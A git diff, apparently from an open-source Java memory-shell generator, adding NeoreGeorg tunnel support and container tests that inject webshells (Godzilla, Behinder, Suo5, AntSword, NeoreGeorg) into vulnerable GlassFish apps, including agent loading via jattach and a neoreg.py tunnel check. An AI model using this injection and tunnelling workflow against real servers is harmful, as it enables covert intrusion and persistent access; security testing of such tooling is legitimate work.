builder = builder.visit(
|
||||||
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||||
|
put("headerName", neoreGeorgConfig.getHeaderName());
|
||||||
|
put("headerValue", neoreGeorgConfig.getHeaderValue());
|
||||||
|
}})
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
builder = builder
|
||||||
|
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] getBytes() {
|
||||||
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,7 +9,7 @@ import com.reajason.javaweb.memshell.packer.Packer;
|
|||||||
* @since 2025/1/30
|
* @since 2025/1/30
|
||||||
*/
|
*/
|
||||||
public class RhinoPacker implements Packer {
|
public class RhinoPacker implements Packer {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return Packers.ScriptEngine.getInstance().pack(generateResult);
|
return Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ public abstract class AbstractShell {
|
|||||||
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
|
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<ShellTool> getSupportedShellTools(){
|
public Set<ShellTool> getSupportedShellTools() {
|
||||||
return Collections.unmodifiableSet(map.keySet());
|
return Collections.unmodifiableSet(map.keySet());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
distributionBase=GRADLE_USER_HOME
|
distributionBase=GRADLE_USER_HOME
|
||||||
distributionPath=wrapper/dists
|
distributionPath=wrapper/dists
|
||||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
|
||||||
networkTimeout=10000
|
networkTimeout=10000
|
||||||
validateDistributionUrl=true
|
validateDistributionUrl=true
|
||||||
zipStoreBase=GRADLE_USER_HOME
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ test {
|
|||||||
":vul:vul-webapp-expression:war",
|
":vul:vul-webapp-expression:war",
|
||||||
":vul:vul-webapp-deserialize:war",
|
":vul:vul-webapp-deserialize:war",
|
||||||
":vul:vul-webapp-jakarta:war",
|
":vul:vul-webapp-jakarta:war",
|
||||||
|
":vul:vul-springboot1:bootJar",
|
||||||
":vul:vul-springboot2:bootJar",
|
":vul:vul-springboot2:bootJar",
|
||||||
":vul:vul-springboot2:bootWar",
|
":vul:vul-springboot2:bootWar",
|
||||||
":vul:vul-springboot2-webflux:bootJar",
|
":vul:vul-springboot2-webflux:bootJar",
|
||||||
|
|||||||
+20
-19
@@ -5,7 +5,6 @@ import org.testcontainers.containers.GenericContainer;
|
|||||||
import org.testcontainers.utility.MountableFile;
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -13,25 +12,27 @@ import java.nio.file.Paths;
|
|||||||
*/
|
*/
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class ContainerTool {
|
public class ContainerTool {
|
||||||
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
|
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath());
|
||||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
|
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-deserialize/build/libs/vul-webapp-deserialize.war").toAbsolutePath());
|
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||||
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
|
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||||
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
|
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot2WebfluxDockerfile = Paths.get("../vul/vul-springboot2-webflux/Dockerfile").toAbsolutePath();
|
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
|
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
|
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
|
||||||
|
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
|
||||||
|
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
|
||||||
|
|
||||||
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
|
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
|
||||||
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
|
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
|
||||||
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh"));
|
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
|
||||||
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh"));
|
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
|
||||||
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script/glassfish_pid.sh"));
|
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
|
||||||
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
|
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
|
||||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
|
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
|
||||||
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
|
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
|
||||||
public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh"));
|
public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script", "springboot_pid.sh"));
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(8080);
|
int port = container.getMappedPort(8080);
|
||||||
|
|||||||
+31
-15
@@ -15,7 +15,6 @@ import okhttp3.Request;
|
|||||||
import okhttp3.Response;
|
import okhttp3.Response;
|
||||||
import org.java_websocket.client.WebSocketClient;
|
import org.java_websocket.client.WebSocketClient;
|
||||||
import org.java_websocket.handshake.ServerHandshake;
|
import org.java_websocket.handshake.ServerHandshake;
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||||
@@ -49,6 +48,11 @@ public class ShellAssertionTool {
|
|||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
|
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
|
||||||
|
testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
String shellUrl = url + "/test";
|
String shellUrl = url + "/test";
|
||||||
|
|
||||||
String urlPattern = null;
|
String urlPattern = null;
|
||||||
@@ -75,12 +79,12 @@ public class ShellAssertionTool {
|
|||||||
Path tempJar = Files.createTempFile("temp", "jar");
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
Files.write(tempJar, bytes);
|
Files.write(tempJar, bytes);
|
||||||
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
container.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
// Files.copy(tempJar, Paths.get("target.jar"));
|
// Files.copy(tempJar, Paths.get("target.jar"));
|
||||||
FileUtils.deleteQuietly(tempJar.toFile());
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
||||||
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
||||||
String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
|
String stdout = appContainer.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
|
||||||
log.info("attach result: {}", stdout);
|
log.info("attach result: {}", stdout);
|
||||||
assertThat(stdout, anyOf(
|
assertThat(stdout, anyOf(
|
||||||
containsString("ATTACH_ACK"),
|
containsString("ATTACH_ACK"),
|
||||||
@@ -88,7 +92,7 @@ public class ShellAssertionTool {
|
|||||||
));
|
));
|
||||||
} else {
|
} else {
|
||||||
content = packer.getInstance().pack(generateResult);
|
content = packer.getInstance().pack(generateResult);
|
||||||
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
|
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||||
log.info("send inject payload successfully");
|
log.info("send inject payload successfully");
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -112,9 +116,20 @@ public class ShellAssertionTool {
|
|||||||
case AntSword:
|
case AntSword:
|
||||||
testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
|
testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
|
||||||
break;
|
break;
|
||||||
|
case NeoreGeorg:
|
||||||
|
testNeoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig()));
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static void testNeoreGeorgIsOk(GenericContainer<?> container, GenericContainer<?> pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception {
|
||||||
|
URL url = new URL(shellUrl);
|
||||||
|
shellUrl = "http://app:" + container.getExposedPorts().stream().findFirst().get() + url.getPath();
|
||||||
|
String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout();
|
||||||
|
log.info(stdout);
|
||||||
|
assertTrue(stdout.contains("All seems fine"));
|
||||||
|
}
|
||||||
|
|
||||||
public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
|
public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
|
||||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||||
.entrypoint(entrypoint).pass(shellConfig.getPass())
|
.entrypoint(entrypoint).pass(shellConfig.getPass())
|
||||||
@@ -145,11 +160,6 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
|
||||||
void name() throws Exception {
|
|
||||||
testWebSocketCommandIsOk("ws://localhost:8082/app/hello", null);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
|
public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
|
||||||
final CountDownLatch latch = new CountDownLatch(1);
|
final CountDownLatch latch = new CountDownLatch(1);
|
||||||
final String[] responseHolder = new String[1];
|
final String[] responseHolder = new String[1];
|
||||||
@@ -185,7 +195,6 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
String res = responseHolder[0];
|
String res = responseHolder[0];
|
||||||
System.out.println(res);
|
|
||||||
assertTrue(res.contains("uid="));
|
assertTrue(res.contains("uid="));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -235,7 +244,7 @@ public class ShellAssertionTool {
|
|||||||
.pass(godzillaPass).key(godzillaKey)
|
.pass(godzillaPass).key(godzillaKey)
|
||||||
.headerName("User-Agent").headerValue(uniqueName)
|
.headerName("User-Agent").headerValue(uniqueName)
|
||||||
.build();
|
.build();
|
||||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName);
|
log.info("generated {} godzilla with pass: {}, key: {}, User-Agent: {}", shellType, godzillaPass, godzillaKey, uniqueName);
|
||||||
break;
|
break;
|
||||||
case Command:
|
case Command:
|
||||||
shellToolConfig = CommandConfig.builder()
|
shellToolConfig = CommandConfig.builder()
|
||||||
@@ -250,14 +259,14 @@ public class ShellAssertionTool {
|
|||||||
.headerName("User-Agent")
|
.headerName("User-Agent")
|
||||||
.headerValue(uniqueName)
|
.headerValue(uniqueName)
|
||||||
.build();
|
.build();
|
||||||
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName);
|
log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName);
|
||||||
break;
|
break;
|
||||||
case Suo5:
|
case Suo5:
|
||||||
shellToolConfig = Suo5Config.builder()
|
shellToolConfig = Suo5Config.builder()
|
||||||
.headerName("User-Agent")
|
.headerName("User-Agent")
|
||||||
.headerValue(uniqueName)
|
.headerValue(uniqueName)
|
||||||
.build();
|
.build();
|
||||||
log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName);
|
log.info("generated {} suo5 with User-Agent: {}", shellType, uniqueName);
|
||||||
break;
|
break;
|
||||||
case AntSword:
|
case AntSword:
|
||||||
String antPassword = "ant";
|
String antPassword = "ant";
|
||||||
@@ -266,7 +275,14 @@ public class ShellAssertionTool {
|
|||||||
.headerName("User-Agent")
|
.headerName("User-Agent")
|
||||||
.headerValue(uniqueName)
|
.headerValue(uniqueName)
|
||||||
.build();
|
.build();
|
||||||
log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName);
|
log.info("generated {} antSword with pass: {}, User-Agent: {}", shellType, antPassword, uniqueName);
|
||||||
|
break;
|
||||||
|
case NeoreGeorg:
|
||||||
|
shellToolConfig = NeoreGeorgConfig.builder()
|
||||||
|
.headerName("Referer")
|
||||||
|
.headerValue(uniqueName)
|
||||||
|
.build();
|
||||||
|
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
|||||||
+10
-2
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
||||||
@@ -33,12 +35,18 @@ import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjec
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class GlassFish3ContainerTest {
|
public class GlassFish3ContainerTest {
|
||||||
public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
|
public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -68,6 +76,6 @@ public class GlassFish3ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -34,12 +36,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class GlassFish4ContainerTest {
|
public class GlassFish4ContainerTest {
|
||||||
public static final String imageName = "reajason/glassfish:4.1.2-quick";
|
public static final String imageName = "reajason/glassfish:4.1.2-quick";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -65,6 +73,6 @@ public class GlassFish4ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class GlassFish501ContainerTest {
|
public class GlassFish501ContainerTest {
|
||||||
public static final String imageName = "reajason/glassfish:5.0.1";
|
public static final String imageName = "reajason/glassfish:5.0.1";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class GlassFish501ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class GlassFish510ContainerTest {
|
public class GlassFish510ContainerTest {
|
||||||
public static final String imageName = "reajason/glassfish:5.1.0";
|
public static final String imageName = "reajason/glassfish:5.1.0";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
